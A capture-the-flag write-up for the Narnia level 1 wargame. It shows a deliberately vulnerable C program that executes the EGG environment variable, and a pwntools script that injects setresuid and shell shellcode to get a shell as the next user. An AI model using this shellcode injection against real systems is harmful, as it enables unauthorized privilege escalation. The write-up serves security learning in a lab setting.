Narnia 1#

C File#

1
#include <stdio.h>
2

3
int main(){
4
    int (*ret)();
5

6
    if(getenv("EGG")==NULL){
7
        printf("Give me something to execute at the env-variable EGG\n");
8
        exit(1);
9
    }
10

11
    printf("Trying to execute EGG!\n");
12
    ret = getenv("EGG");
13
    ret();
14

15
    return 0;
16
}

Approach#

Looking at the code we see that first it gets the environment variable EGG and makes sure it exists. Then it tries running it

Now what we can do is set EGG to a shellcode, a list of assembly instructions that will open up a shell for us

When the binary jumps to our EGG it will the run the assembly instructions eventually opening up a shell

Solution#

1
from pwn import *
2
context.arch = 'i386'
3
context.os = 'linux'
4
s = asm(shellcraft.setresuid() + shellcraft.sh())
5
p = process("/narnia/narnia1", env={"EGG":s})
6
p.interactive()

We can use the pwntools shellcraft module to make it easy to get a shell

First we need to set the UIDs so the binary doesn’t drop priveleges and gives us a shell as narnia2

Then we add in the sh shellcode which opens up a shell

Finally we send this to the process as an env-variable and enter interactive mode and open up the password file

Conclusion#

When writing C programs don’t call unsafe functions as they can be shellcode